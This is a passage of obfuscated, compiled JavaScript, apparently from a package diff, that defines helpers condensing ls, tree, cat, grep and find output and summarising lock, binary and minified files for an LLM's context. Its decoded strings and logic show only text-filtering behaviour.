_0x3bcb21=0x0;_0x3bcb21<_0x95e893[_0x2294a7(0x1af)];_0x3bcb21++){const _0x342197=_0x95e893[_0x2294a7(0x1e2)](_0x3bcb21);if(_0x342197<0x20&&_0x342197!==0xa&&_0x342197!==0xd&&_0x342197!==0x9)_0x33bfc0++;}if(_0x95e893[_0x2294a7(0x1af)]>0x64&&_0x33bfc0>_0x95e893[_0x2294a7(0x1af)]*0.1)return _0x2294a7(0x1c9)+_0x402f5f[_0x2294a7(0x1af)][_0x2294a7(0x1a1)]()+_0x2294a7(0x16d);const _0x5bffa3=_0x402f5f[_0x2294a7(0x1da)]('\x0a');if(_0x5bffa3[_0x2294a7(0x1af)]<=0x3&&_0x402f5f[_0x2294a7(0x1af)]>0x1388)return _0x2294a7(0x15f)+_0x402f5f[_0x2294a7(0x1af)][_0x2294a7(0x1a1)]()+_0x2294a7(0x192)+_0x5bffa3[_0x2294a7(0x1af)]+_0x2294a7(0x1ce);return null;}catch{return null;}}function a0_0x2f8d(_0x330af4,_0x4bbd59){const _0x6e5b79=a0_0x6e5b();return a0_0x2f8d=function(_0x2f8da6,_0x363006){_0x2f8da6=_0x2f8da6-0x14e;let _0x4d4d3b=_0x6e5b79[_0x2f8da6];return _0x4d4d3b;},a0_0x2f8d(_0x330af4,_0x4bbd59);}function filterJsonMinify(_0x542765){const _0x5938fe=a0_0x40f52a;try{const _0x1c7ffa=_0x542765['trim']();if(!_0x1c7ffa[_0x5938fe(0x1b6)]('{')&&!_0x1c7ffa['startsWith']('['))return null;const _0x2ce437=_0x1c7ffa['split']('\x0a');if(_0x2ce437[_0x5938fe(0x1af)]<=0x14)return null;const _0x4243c3=JSON[_0x5938fe(0x170)](_0x1c7ffa),_0x4fc6d6=JSON[_0x5938fe(0x15e)](_0x4243c3);if(_0x4fc6d6[_0x5938fe(0x1af)]<_0x1c7ffa[_0x5938fe(0x1af)])return _0x4fc6d6;return null;}catch{return null;}}function filterLs(_0x1e77ca){const _0x24496c=a0_0x40f52a,_0x14cea8=_0x1e77ca['split']('\x0a')[_0x24496c(0x152)](_0x53c7f9=>_0x53c7f9['trim']()[_0x24496c(0x1af)]>0x0);if(_0x14cea8[_0x24496c(0x1af)]===0x0)return'Empty\x20directory';if(_0x14cea8[_0x24496c(0x1af)]<=0x1e)return _0x1e77ca['trim']();const _0x3186e7=[],_0x21a6d2=[];for(const _0x2f2218 of _0x14cea8){const _0x3bc51d=_0x2f2218[_0x24496c(0x1a5)]();if(_0x3bc51d[_0x24496c(0x1b6)]('total\x20')||_0x3bc51d['startsWith']('d')&&_0x3bc51d[_0x24496c(0x17c)]('..'))continue;_0x3bc51d[_0x24496c(0x1c6)]('/')||_0x3bc51d[_0x24496c(0x1b6)]('d')&&_0x3bc51d['includes']('\x20')?_0x3186e7[_0x24496c(0x1e0)](_0x3bc51d):_0x21a6d2[_0x24496c(0x1e0)](_0x3bc51d);}const _0x1b2802=[];return _0x3186e7[_0x24496c(0x1af)]>0x0&&(_0x3186e7[_0x24496c(0x1af)]<=0xf?_0x1b2802[_0x24496c(0x1e0)](..._0x3186e7):(_0x1b2802[_0x24496c(0x1e0)](..._0x3186e7[_0x24496c(0x1c7)](0x0,0xa)),_0x1b2802[_0x24496c(0x1e0)]('...\x20+'+(_0x3186e7['length']-0xa)+_0x24496c(0x161)))),_0x21a6d2['length']>0x0&&(_0x21a6d2['length']<=0x14?_0x1b2802[_0x24496c(0x1e0)](..._0x21a6d2):(_0x1b2802[_0x24496c(0x1e0)](..._0x21a6d2['slice'](0x0,0xf)),_0x1b2802['push'](_0x24496c(0x164)+(_0x21a6d2[_0x24496c(0x1af)]-0xf)+_0x24496c(0x1dd)))),_0x1b2802[_0x24496c(0x1e0)]('\x0a('+_0x3186e7[_0x24496c(0x1af)]+_0x24496c(0x199)+_0x21a6d2['length']+_0x24496c(0x181)),_0x1b2802[_0x24496c(0x1b5)]('\x0a');}function filterTree(_0x5e23c5){const _0xb2814e=a0_0x40f52a,_0x2f7c3b=_0x5e23c5[_0xb2814e(0x1da)]('\x0a');if(_0x2f7c3b['length']<=0x32)return _0x5e23c5[_0xb2814e(0x1a5)]();const _0x23b182=[];let _0x3ab14c=0x0,_0x2d6ab4=0x0,_0x36e6ca=0x0;for(const _0xa8e350 of _0x2f7c3b){const _0x454c02=_0xa8e350[_0xb2814e(0x1ae)](/(\d+)\s+director/),_0xecf14=_0xa8e350[_0xb2814e(0x1ae)](/(\d+)\s+file/);if(_0x454c02)_0x36e6ca=parseInt(_0x454c02[0x1]);if(_0xecf14)_0x2d6ab4=parseInt(_0xecf14[0x1]);const _0x2566df=(_0xa8e350['match'](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x2566df<=0x4&&(_0x23b182[_0xb2814e(0x1e0)](_0xa8e350),_0x3ab14c++);}return _0x2f7c3b[_0xb2814e(0x1af)]>_0x23b182[_0xb2814e(0x1af)]&&_0x23b182[_0xb2814e(0x1e0)](_0xb2814e(0x150)+_0x36e6ca+'\x20directories,\x20'+_0x2d6ab4+_0xb2814e(0x1b4)),_0x23b182[_0xb2814e(0x1b5)]('\x0a');}function filterCat(_0x40f738,_0x53eeb9=''){const _0x325843=a0_0x40f52a,_0x256351=extractFilename(_0x53eeb9);try{if(_0x256351&&isFeatureEnabled('lock')){const _0x3222fa=filterLockFile(_0x40f738,_0x256351);if(_0x3222fa)return _0x3222fa;}if(isFeatureEnabled('binary')){const _0x45f066=filterBinaryOrMinified(_0x40f738,_0x256351);if(_0x45f066)return _0x45f066;}if(isFeatureEnabled(_0x325843(0x188))){const _0x213c1a=(0x0,generic_1['smartCrushJson'])(_0x40f738);if(_0x213c1a)return _0x213c1a;}const _0x62b9fe=filterJsonMinify(_0x40f738);if(_0x62b9fe)return _0x62b9fe;if(_0x256351&&isFeatureEnabled('skeleton')){const _0x2dbb99=path[_0x325843(0x1a3)](_0x256351)[_0x325843(0x159)](),_0x257252=[_0x325843(0x166),_0x325843(0x1cb),_0x325843(0x1a8),_0x325843(0x18c),_0x325843(0x177),_0x325843(0x1c3),_0x325843(0x151),'.java','.c',_0x325843(0x172),_0x325843(0x183),_0x325843(0x154),'.swift',_0x325843(0x1c8)];if(_0x257252[_0x325843(0x17c)](_0x2dbb99)){const _0x2c0ae4=_0x40f738[_0x325843(0x1da)]('\x0a');if(_0x2c0ae4[_0x325843(0x1af)]>0x64){const _0xe8797f=[];_0xe8797f[_0x325843(0x1e0)]('[code\x20skeleton]\x20'+path[_0x325843(0x1a7)](_0x256351)+'\x20('+_0x2c0ae4[_0x325843(0x1af)]+_0x325843(0x182)),_0xe8797f[_0x325843(0x1e0)]('');for(const _0x6b2d1 of _0x2c0ae4){const _0x584993=_0x6b2d1[_0x325843(0x1a5)]();if(_0x584993['startsWith'](_0x325843(0x16c))||_0x584993['startsWith'](_0x325843(0x15a))||_0x584993[_0x325843(0x1b6)](_0x325843(0x165))||_0x584993[_0x325843(0x1ae)](/=\s*require\(/)||_0x584993['startsWith'](_0x325843(0x1ca))||_0x584993['startsWith'](_0x325843(0x16a))||_0x584993[_0x325843(0x1b6)](_0x325843(0x1df)))_0xe8797f[_0x325843(0x1e0)](_0x6b2d1);else{if(_0x584993[_0x325843(0x1ae)](/^(export\s+)?(async\s+)?function\s+/)||_0x584993['match'](/^(export\s+)?(default\s+)?class\s+/)||_0x584993[_0x325843(0x1ae)](/^(export\s+)?(type|interface|enum)\s+/)||_0x584993['match'](/^(async\s+)?def\s+/)||_0x584993[_0x325843(0x1ae)](/^func\s+/)||_0x584993[_0x325843(0x1ae)](/^type\s+\w+\s+(struct|interface)/)||_0x584993[_0x325843(0x1ae)](/^(pub\s+)?(async\s+)?fn\s+/)||_0x584993[_0x325843(0x1ae)](/^(pub\s+)?(struct|enum|trait|impl)\s+/)||_0x584993[_0x325843(0x1ae)](/^(public|private|protected|static)\s+/))_0xe8797f[_0x325843(0x1e0)](_0x6b2d1);else{if(_0x584993[_0x325843(0x1b6)](_0x325843(0x19f))&&!_0x584993[_0x325843(0x17c)]('=>')&&_0x584993[_0x325843(0x1af)]<0x78)_0xe8797f[_0x325843(0x1e0)](_0x6b2d1);else _0x584993['startsWith']('@')&&!_0x584993[_0x325843(0x1b6)]('@param')&&!_0x584993[_0x325843(0x1b6)](_0x325843(0x1cd))&&_0xe8797f[_0x325843(0x1e0)](_0x6b2d1);}}}_0xe8797f['push'](''),_0xe8797f['push']('('+_0x2c0ae4[_0x325843(0x1af)]+'\x20lines\x20total,\x20'+(_0xe8797f[_0x325843(0x1af)]-0x2)+_0x325843(0x1be));const _0x3c3a3d=_0xe8797f[_0x325843(0x1b5)]('\x0a');if(_0x3c3a3d[_0x325843(0x1af)]<_0x40f738['length'])return _0x3c3a3d;}}}}catch{}let _0x2e578d=(0x0,generic_1[_0x325843(0x17a)])(_0x40f738);if(_0x256351){const _0x110954=path[_0x325843(0x1a3)](_0x256351)[_0x325843(0x159)]();_0x2e578d=(0x0,generic_1[_0x325843(0x187)])(_0x2e578d,_0x110954);}const _0x52eef6=_0x2e578d[_0x325843(0x1da)]('\x0a');if(_0x52eef6[_0x325843(0x1af)]<=0x64)return _0x2e578d;const _0x1d560c=[];return _0x1d560c[_0x325843(0x1e0)](..._0x52eef6[_0x325843(0x1c7)](0x0,0x32)),_0x1d560c['push'](_0x325843(0x1a4)+(_0x52eef6[_0x325843(0x1af)]-0x50)+_0x325843(0x184)),_0x1d560c['push'](..._0x52eef6[_0x325843(0x1c7)](-0x1e)),_0x1d560c[_0x325843(0x1e0)]('\x0a('+_0x52eef6[_0x325843(0x1af)]+'\x20lines\x20total)'),_0x1d560c[_0x325843(0x1b5)]('\x0a');}function filterGrep(_0x5ce706){const _0x31758e=a0_0x40f52a,_0x3bf1d7=_0x5ce706['split']('\x0a')[_0x31758e(0x152)](_0x41c261=>_0x41c261[_0x31758e(0x1a5)]()[_0x31758e(0x1af)]>0x0);if(_0x3bf1d7[_0x31758e(0x1af)]===0x0)return'No\x20matches\x20found';if(_0x3bf1d7[_0x31758e(0x1af)]<=0x32)return _0x5ce706[_0x31758e(0x1a5)]();const _0x9a433b={},_0x103e14=[];for(const _0x52517d of _0x3bf1d7){const _0x254138=_0x52517d[_0x31758e(0x1d9)](':');if(_0x254138>0x0&&_0x254138<0xc8){const _0x1b9b61=_0x52517d[_0x31758e(0x157)](0x0,_0x254138);if(_0x1b9b61[_0x31758e(0x17c)]('/')||_0x1b9b61[_0x31758e(0x17c)]('\x5c')||_0x1b9b61[_0x31758e(0x17c)]('.')){if(!_0x9a433b[_0x1b9b61])_0x9a433b[_0x1b9b61]=[];_0x9a433b[_0x1b9b61]['push'](_0x52517d[_0x31758e(0x157)](_0x254138+0x1)[_0x31758e(0x1a5)]());continue;}}_0x103e14[_0x31758e(0x1e0)](_0x52517d);}const _0x45dde8=[],_0x53273a=Object[_0x31758e(0x1cc)](_0x9a433b);if(_0x53273a[_0x31758e(0x1af)]>0x0){const _0x6ab1c9=0x14,_0x443370=_0x53273a[_0x31758e(0x1c7)](0x0,_0x6ab1c9);for(const _0x27b995 of _0x443370){const _0x169b0d=_0x9a433b[_0x27b995];if(_0x169b0d[_0x31758e(0x1af)]<=0x3)for(const _0x27edff of _0x169b0d){_0x45dde8[_0x31758e(0x1e0)](_0x27b995+':\x20'+_0x27edff);}else _0x45dde8[_0x31758e(0x1e0)](_0x27b995+':\x20'+_0x169b0d[0x0]),_0x45dde8[_0x31758e(0x1e0)](_0x27b995+':\x20...\x20('+_0x169b0d[_0x31758e(0x1af)]+'\x20matches\x20in\x20this\x20file)');}_0x53273a[_0x31758e(0x1af)]>_0x6ab1c9&&_0x45dde8[_0x31758e(0x1e0)](_0x31758e(0x164)+(_0x53273a[_0x31758e(0x1af)]-_0x6ab1c9)+_0x31758e(0x17d));}if(_0x103e14[_0x31758e(0x1af)]>0x0){const _0x210215=0x1e;_0x45dde8[_0x31758e(0x1e0)](..._0x103e14[_0x31758e(0x1c7)](0x0,_0x210215)),_0x103e14['length']>_0x210215&&_0x45dde8['push'](_0x31758e(0x164)+(_0x103e14[_0x31758e(0x1af)]-_0x210215)+'\x20more\x20matches');}const _0x49d692=_0x3bf1d7['length'];return _0x45dde8[_0x31758e(0x1e0)]('\x0a('+_0x49d692+_0x31758e(0x162)+(_0x53273a[_0x31758e(0x1af)]||'?')+_0x31758e(0x181)),_0x45dde8[_0x31758e(0x1b5)]('\x0a');}function filterFind(_0x3ad717){const _0x11cf02=a0_0x40f52a,_0x2c4321=_0x3ad717[_0x11cf02(0x1da)]('\x0a')['filter'](_0x3e0782=>_0x3e0782[_0x11cf02(0x1a5)]()[_0x11cf02(0x1af)]>0x0);if(_0x2c4321[_0x11cf02(0x1af)]===0x0)return _0x11cf02(0x1c5);if(_0x2c4321['length']<=0x32)return _0x3ad717[_0x11cf02(0x1a5)]();const _0x3c6ace={};for(const _0xe9a7c4 of _0x2c4321){const _0x4f012a=path[_0x11cf02(0x186)](_0xe9a7c4['trim']())||'.';_0x3c6ace[_0x4f012a]=(_0x3c6ace[_0x4f012a]||0x0)+0x1;}const _0x5625e4=Object['entries'](_0x3c6ace)[_0x11cf02(0x1d1)]((_0x2528f7,_0x4c97ed)=>_0x4c97ed[0x1]-_0x2528f7[0x1]),_0x3cd57d=[_0x2c4321['length']+_0x11cf02(0x179)+_0x5625e4[_0x11cf02(0x1af)]+_0x11cf02(0x1a9),''],_0xc23ff4=0x1e;for(const [_0x403aa4,_0x207118]of _0x5625e4[_0x11cf02(0x1c7)](0x0,_0xc23ff4)){_0x3cd57d[_0x11cf02(0x1e0)]('\x20\x20'+_0x403aa4+_0x11cf02(0x171)+_0x207118+_0x11cf02(0x181));}return _0x5625e4['length']>_0xc23ff4&&_0x3cd57d['push']('\x20\x20...\x20+'+(_0x5625e4[_0x11cf02(0x1af)]-_0xc23ff4)+_0x11cf02(0x161)),_0x3cd57d[_0x11cf02(0x1b5)]('\x0a');}
|
|
1
|
+
'use strict';const a0_0x10ff8c=a0_0x30d5;(function(_0x272f7a,_0x49b3d0){const _0x14d9d0=a0_0x30d5,_0x50c5a8=_0x272f7a();while(!![]){try{const _0x456fe7=-parseInt(_0x14d9d0(0xcf))/0x1+parseInt(_0x14d9d0(0x146))/0x2*(parseInt(_0x14d9d0(0xd7))/0x3)+parseInt(_0x14d9d0(0xb8))/0x4*(parseInt(_0x14d9d0(0xec))/0x5)+parseInt(_0x14d9d0(0x114))/0x6*(parseInt(_0x14d9d0(0x143))/0x7)+parseInt(_0x14d9d0(0xce))/0x8*(parseInt(_0x14d9d0(0xca))/0x9)+-parseInt(_0x14d9d0(0x106))/0xa*(-parseInt(_0x14d9d0(0x132))/0xb)+-parseInt(_0x14d9d0(0x136))/0xc*(parseInt(_0x14d9d0(0xc3))/0xd);if(_0x456fe7===_0x49b3d0)break;else _0x50c5a8['push'](_0x50c5a8['shift']());}catch(_0xbd555a){_0x50c5a8['push'](_0x50c5a8['shift']());}}}(a0_0x8f00,0x3c824));var __createBinding=this&&this[a0_0x10ff8c(0xbd)]||(Object['create']?function(_0x50de36,_0x25d66b,_0x46d905,_0x33b21b){const _0x507f06=a0_0x10ff8c;if(_0x33b21b===undefined)_0x33b21b=_0x46d905;var _0x295692=Object[_0x507f06(0x135)](_0x25d66b,_0x46d905);(!_0x295692||(_0x507f06(0x103)in _0x295692?!_0x25d66b['__esModule']:_0x295692[_0x507f06(0x10a)]||_0x295692[_0x507f06(0xfc)]))&&(_0x295692={'enumerable':!![],'get':function(){return _0x25d66b[_0x46d905];}}),Object[_0x507f06(0xbc)](_0x50de36,_0x33b21b,_0x295692);}:function(_0x1a8d95,_0x142d28,_0x5b9e8a,_0x2175e6){if(_0x2175e6===undefined)_0x2175e6=_0x5b9e8a;_0x1a8d95[_0x2175e6]=_0x142d28[_0x5b9e8a];}),__setModuleDefault=this&&this[a0_0x10ff8c(0xeb)]||(Object[a0_0x10ff8c(0x138)]?function(_0x472622,_0x10adad){const _0x42b7c1=a0_0x10ff8c;Object['defineProperty'](_0x472622,_0x42b7c1(0x101),{'enumerable':!![],'value':_0x10adad});}:function(_0x36ecba,_0xa46a3){_0x36ecba['default']=_0xa46a3;}),__importStar=this&&this[a0_0x10ff8c(0xe0)]||(function(){var _0x130e5c=function(_0x3598e9){const _0x595134=a0_0x30d5;return _0x130e5c=Object[_0x595134(0x110)]||function(_0x9a0855){const _0x4b6c04=_0x595134;var _0x5e061c=[];for(var _0x2cb90d in _0x9a0855)if(Object[_0x4b6c04(0x131)][_0x4b6c04(0x11a)][_0x4b6c04(0xf7)](_0x9a0855,_0x2cb90d))_0x5e061c[_0x5e061c[_0x4b6c04(0xdd)]]=_0x2cb90d;return _0x5e061c;},_0x130e5c(_0x3598e9);};return function(_0xdcd56d){const _0x4c9d87=a0_0x30d5;if(_0xdcd56d&&_0xdcd56d[_0x4c9d87(0xcd)])return _0xdcd56d;var _0x29d69f={};if(_0xdcd56d!=null){for(var _0x21f523=_0x130e5c(_0xdcd56d),_0x2d7237=0x0;_0x2d7237<_0x21f523['length'];_0x2d7237++)if(_0x21f523[_0x2d7237]!==_0x4c9d87(0x101))__createBinding(_0x29d69f,_0xdcd56d,_0x21f523[_0x2d7237]);}return __setModuleDefault(_0x29d69f,_0xdcd56d),_0x29d69f;};}());Object[a0_0x10ff8c(0xbc)](exports,'__esModule',{'value':!![]}),exports[a0_0x10ff8c(0xee)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x10ff8c(0xd9)]=filterCat,exports[a0_0x10ff8c(0xd6)]=filterGrep,exports[a0_0x10ff8c(0x102)]=filterFind;const path=__importStar(require(a0_0x10ff8c(0xe4))),generic_1=require('./generic'),tracker_1=require('../tracker');function isFeatureEnabled(_0x158605){const _0x17f058=a0_0x10ff8c;try{const _0xedc2a6=tracker_1['tracker'][_0x17f058(0xf3)](),_0x309385=_0xedc2a6[_0x17f058(0x12a)];if(!_0x309385||_0x309385[_0x158605]===undefined)return!![];return _0x309385[_0x158605]!==![];}catch{return!![];}}const LOCK_FILES=[a0_0x10ff8c(0xfb),'yarn.lock','pnpm-lock.yaml',a0_0x10ff8c(0x13a),a0_0x10ff8c(0xbb),a0_0x10ff8c(0x115),a0_0x10ff8c(0x109),'Gemfile.lock',a0_0x10ff8c(0xda)],BINARY_EXTENSIONS=[a0_0x10ff8c(0xef),a0_0x10ff8c(0xb5),a0_0x10ff8c(0x13f),a0_0x10ff8c(0xb2),'.png',a0_0x10ff8c(0x10c),'.jpeg',a0_0x10ff8c(0xd0),'.ico','.bmp',a0_0x10ff8c(0xcc),a0_0x10ff8c(0xd3),a0_0x10ff8c(0x11c),a0_0x10ff8c(0x105),a0_0x10ff8c(0xf5),a0_0x10ff8c(0x100),a0_0x10ff8c(0x12c),a0_0x10ff8c(0x141),a0_0x10ff8c(0x10d),a0_0x10ff8c(0x126),'.exe',a0_0x10ff8c(0xb1),'.so',a0_0x10ff8c(0x13c),a0_0x10ff8c(0x120),'.dat',a0_0x10ff8c(0x12e),a0_0x10ff8c(0xe6),a0_0x10ff8c(0xd4),a0_0x10ff8c(0xf2),a0_0x10ff8c(0xf6),'.ttf','.eot',a0_0x10ff8c(0x128),'.mp3',a0_0x10ff8c(0xc7),'.wav',a0_0x10ff8c(0x10e),a0_0x10ff8c(0x130),a0_0x10ff8c(0x145),a0_0x10ff8c(0x13d),'.pyo',a0_0x10ff8c(0xe8),'.o',a0_0x10ff8c(0xc2)];function a0_0x8f00(){const _0x3db402=['.rar','[binary\x20file]\x20','.otf','\x20more\x20files','features_enabled','charCodeAt','.gz','\x0a...\x20[','.sqlite','dependencies','.mov','prototype','22EpjSli','require(','\x20structural\x20lines\x20shown)','getOwnPropertyDescriptor','2922636OSZktN','basename','create','\x20matches\x20across\x20','Cargo.lock','match','.dylib','.pyc','\x20files\x20found\x20across\x20','.map','.java','.bz2','@return','35728gENZnZ','.cs','.webm','20fuXiBb','No\x20matches\x20found','substring','\x20chars\x20(high\x20non-printable\x20ratio\x20—\x20content\x20omitted)','.dll','.wasm','binary','endsWith','.min.css','parse','\x20lines\x20truncated]\x20...\x0a','1847572aLgErZ','from\x20','floor','go.sum','defineProperty','__createBinding','stripComments','\x20chars,\x20type:\x20','[minified\x20file]\x20','filter','.obj','65nBmEVZ','.go','join','pnpm-lock.yaml','.mp4','\x20line(s)\x20(content\x20omitted\x20—\x20not\x20human-readable)','toLocaleString','315513LZduzu','slice','.webp','__esModule','56oRNpYb','299607dJKPlZ','.gif','...\x20+','Empty\x20directory','.svg','.sqlite3','toLowerCase','filterGrep','95019KdxNYA','.py','filterCat','bun.lockb','package\x20','.kt','length','sort','entries','__importStar','trim','/\x20(','stringify','path','\x20directories,\x20','.db','[code\x20skeleton]\x20','.class','collapseWhitespace','startsWith','__setModuleDefault','5VLdvkW','.js','filterLs','.min.js','export\x20','\x20more\x20directories','.woff','getConfig','.tsx','.tar.gz','.woff2','call','.rs','import\x20','\x20directories','package-lock.json','configurable','[lock\x20file]\x20','.ts','.jsx','.tgz','default','filterFind','get','dirname','.zip','1613330HQIsKG','push','.cpp','composer.lock','writable','\x20chars\x20(content\x20omitted\x20—\x20lock\x20files\x20are\x20not\x20useful\x20for\x20LLM\x20context)','.jpg','.7z','.avi','#include\x20','getOwnPropertyNames','\x20lines\x20total)','some','[binary/minified\x20file]\x20','492jrtFdi','poetry.lock','keys','yarn.lock','extname','\x20more\x20files\x20with\x20matches','hasOwnProperty','\x20files)','.pdf','packages','use\x20','No\x20files\x20found','.bin','skeleton','split','\x20(content\x20omitted\x20—\x20not\x20useful\x20for\x20LLM\x20context)','\x20matches\x20in\x20this\x20file)','includes'];a0_0x8f00=function(){return _0x3db402;};return a0_0x8f00();}function extractFilename(_0x41b508){const _0x517ec3=a0_0x10ff8c,_0x420871=_0x41b508[_0x517ec3(0xe1)]()[_0x517ec3(0x122)](/\s+/);for(let _0x2ae28b=0x1;_0x2ae28b<_0x420871[_0x517ec3(0xdd)];_0x2ae28b++){if(!_0x420871[_0x2ae28b][_0x517ec3(0xea)]('-'))return _0x420871[_0x2ae28b];}return null;}function filterLockFile(_0x3095e2,_0xeb1c5a){const _0x564624=a0_0x10ff8c;try{const _0x8c39e8=path[_0x564624(0x137)](_0xeb1c5a)[_0x564624(0xd5)]();if(!LOCK_FILES[_0x564624(0x112)](_0x3fe4d2=>_0x8c39e8===_0x3fe4d2[_0x564624(0xd5)]()))return null;const _0x236e65=_0x3095e2[_0x564624(0xdd)];let _0x5c29ff=0x0;if(_0x8c39e8===_0x564624(0xfb))try{const _0x404c81=JSON[_0x564624(0xb6)](_0x3095e2);_0x5c29ff=Object['keys'](_0x404c81[_0x564624(0x11d)]||_0x404c81[_0x564624(0x12f)]||{})[_0x564624(0xdd)];}catch{_0x5c29ff=(_0x3095e2[_0x564624(0x13b)](/"resolved":/g)||[])[_0x564624(0xdd)];}else{if(_0x8c39e8===_0x564624(0x117))_0x5c29ff=(_0x3095e2['match'](/^"?[^#\s][^:]*:$/gm)||[])[_0x564624(0xdd)];else{if(_0x8c39e8==='cargo.lock'||_0x8c39e8===_0x564624(0x115))_0x5c29ff=(_0x3095e2[_0x564624(0x13b)](/\[\[package\]\]/g)||[])['length'];else{if(_0x8c39e8===_0x564624(0xbb))_0x5c29ff=Math[_0x564624(0xba)](_0x3095e2[_0x564624(0x122)]('\x0a')[_0x564624(0xc1)](_0x30f3ee=>_0x30f3ee['trim']())[_0x564624(0xdd)]/0x2);else{if(_0x8c39e8===_0x564624(0x109))try{_0x5c29ff=JSON[_0x564624(0xb6)](_0x3095e2)[_0x564624(0x11d)]?.[_0x564624(0xdd)]||0x0;}catch{}else _0x8c39e8===_0x564624(0xc6)?_0x5c29ff=(_0x3095e2[_0x564624(0x13b)](/^\s{2}['"@a-z]/gm)||[])[_0x564624(0xdd)]:_0x5c29ff=_0x3095e2[_0x564624(0x122)]('\x0a')[_0x564624(0xc1)](_0x1d6536=>_0x1d6536[_0x564624(0xe1)]())[_0x564624(0xdd)];}}}}return _0x564624(0xfd)+path['basename'](_0xeb1c5a)+':\x20'+_0x5c29ff+'\x20dependencies,\x20'+_0x236e65['toLocaleString']()+_0x564624(0x10b);}catch{return null;}}function filterBinaryOrMinified(_0x38a22e,_0x17088c){const _0x4f7b03=a0_0x10ff8c;try{if(_0x17088c){const _0x47d364=_0x17088c['toLowerCase']();for(const _0x4e59c8 of BINARY_EXTENSIONS){if(_0x47d364[_0x4f7b03(0xb4)](_0x4e59c8))return _0x4f7b03(0x113)+path[_0x4f7b03(0x137)](_0x17088c)+',\x20'+_0x38a22e['length'][_0x4f7b03(0xc9)]()+_0x4f7b03(0xbf)+_0x4e59c8+_0x4f7b03(0x123);}}const _0x997a1a=_0x38a22e[_0x4f7b03(0x148)](0x0,0x3e8);let _0x53f1cc=0x0;for(let _0x26ce35=0x0;_0x26ce35<_0x997a1a['length'];_0x26ce35++){if(_0x997a1a[_0x4f7b03(0x12b)](_0x26ce35)===0x0)_0x53f1cc++;}if(_0x53f1cc>0x0)return _0x4f7b03(0x127)+_0x38a22e['length'][_0x4f7b03(0xc9)]()+'\x20chars\x20(contains\x20null\x20bytes\x20—\x20binary\x20content\x20omitted)';let _0x4bcd47=0x0;for(let _0xd39c71=0x0;_0xd39c71<_0x997a1a[_0x4f7b03(0xdd)];_0xd39c71++){const _0x1f35f7=_0x997a1a[_0x4f7b03(0x12b)](_0xd39c71);if(_0x1f35f7<0x20&&_0x1f35f7!==0xa&&_0x1f35f7!==0xd&&_0x1f35f7!==0x9)_0x4bcd47++;}if(_0x997a1a['length']>0x64&&_0x4bcd47>_0x997a1a[_0x4f7b03(0xdd)]*0.1)return'[binary\x20file]\x20'+_0x38a22e[_0x4f7b03(0xdd)][_0x4f7b03(0xc9)]()+_0x4f7b03(0xb0);const _0x2469da=_0x38a22e[_0x4f7b03(0x122)]('\x0a');if(_0x2469da['length']<=0x3&&_0x38a22e['length']>0x1388)return _0x4f7b03(0xc0)+_0x38a22e[_0x4f7b03(0xdd)][_0x4f7b03(0xc9)]()+'\x20chars\x20across\x20'+_0x2469da['length']+_0x4f7b03(0xc8);return null;}catch{return null;}}function filterJsonMinify(_0x32ee0d){const _0x293786=a0_0x10ff8c;try{const _0x592ce8=_0x32ee0d[_0x293786(0xe1)]();if(!_0x592ce8[_0x293786(0xea)]('{')&&!_0x592ce8['startsWith']('['))return null;const _0x11475b=_0x592ce8['split']('\x0a');if(_0x11475b[_0x293786(0xdd)]<=0x14)return null;const _0x5825ba=JSON['parse'](_0x592ce8),_0x376310=JSON[_0x293786(0xe3)](_0x5825ba);if(_0x376310[_0x293786(0xdd)]<_0x592ce8['length'])return _0x376310;return null;}catch{return null;}}function filterLs(_0x289fb5){const _0x205fb2=a0_0x10ff8c,_0x3de095=_0x289fb5[_0x205fb2(0x122)]('\x0a')[_0x205fb2(0xc1)](_0x444e51=>_0x444e51[_0x205fb2(0xe1)]()[_0x205fb2(0xdd)]>0x0);if(_0x3de095[_0x205fb2(0xdd)]===0x0)return _0x205fb2(0xd2);if(_0x3de095[_0x205fb2(0xdd)]<=0x1e)return _0x289fb5['trim']();const _0x20791d=[],_0x4f0c25=[];for(const _0x3d6bc2 of _0x3de095){const _0x5c19f5=_0x3d6bc2[_0x205fb2(0xe1)]();if(_0x5c19f5[_0x205fb2(0xea)]('total\x20')||_0x5c19f5[_0x205fb2(0xea)]('d')&&_0x5c19f5[_0x205fb2(0x125)]('..'))continue;_0x5c19f5[_0x205fb2(0xb4)]('/')||_0x5c19f5[_0x205fb2(0xea)]('d')&&_0x5c19f5[_0x205fb2(0x125)]('\x20')?_0x20791d[_0x205fb2(0x107)](_0x5c19f5):_0x4f0c25[_0x205fb2(0x107)](_0x5c19f5);}const _0x25e457=[];return _0x20791d[_0x205fb2(0xdd)]>0x0&&(_0x20791d[_0x205fb2(0xdd)]<=0xf?_0x25e457[_0x205fb2(0x107)](..._0x20791d):(_0x25e457[_0x205fb2(0x107)](..._0x20791d[_0x205fb2(0xcb)](0x0,0xa)),_0x25e457[_0x205fb2(0x107)](_0x205fb2(0xd1)+(_0x20791d[_0x205fb2(0xdd)]-0xa)+_0x205fb2(0xf1)))),_0x4f0c25[_0x205fb2(0xdd)]>0x0&&(_0x4f0c25[_0x205fb2(0xdd)]<=0x14?_0x25e457[_0x205fb2(0x107)](..._0x4f0c25):(_0x25e457[_0x205fb2(0x107)](..._0x4f0c25[_0x205fb2(0xcb)](0x0,0xf)),_0x25e457[_0x205fb2(0x107)]('...\x20+'+(_0x4f0c25[_0x205fb2(0xdd)]-0xf)+_0x205fb2(0x129)))),_0x25e457[_0x205fb2(0x107)]('\x0a('+_0x20791d['length']+_0x205fb2(0xe5)+_0x4f0c25['length']+_0x205fb2(0x11b)),_0x25e457['join']('\x0a');}function filterTree(_0xd267fa){const _0x455d57=a0_0x10ff8c,_0x51911c=_0xd267fa['split']('\x0a');if(_0x51911c[_0x455d57(0xdd)]<=0x32)return _0xd267fa['trim']();const _0x653a2b=[];let _0x42211b=0x0,_0x47f601=0x0,_0x16c7d2=0x0;for(const _0xbcf2fd of _0x51911c){const _0x3e683e=_0xbcf2fd[_0x455d57(0x13b)](/(\d+)\s+director/),_0x7497d4=_0xbcf2fd[_0x455d57(0x13b)](/(\d+)\s+file/);if(_0x3e683e)_0x16c7d2=parseInt(_0x3e683e[0x1]);if(_0x7497d4)_0x47f601=parseInt(_0x7497d4[0x1]);const _0x3674f4=(_0xbcf2fd[_0x455d57(0x13b)](/^[│├└\s─]+/)||[''])[0x0][_0x455d57(0xdd)];_0x3674f4<=0x4&&(_0x653a2b['push'](_0xbcf2fd),_0x42211b++);}return 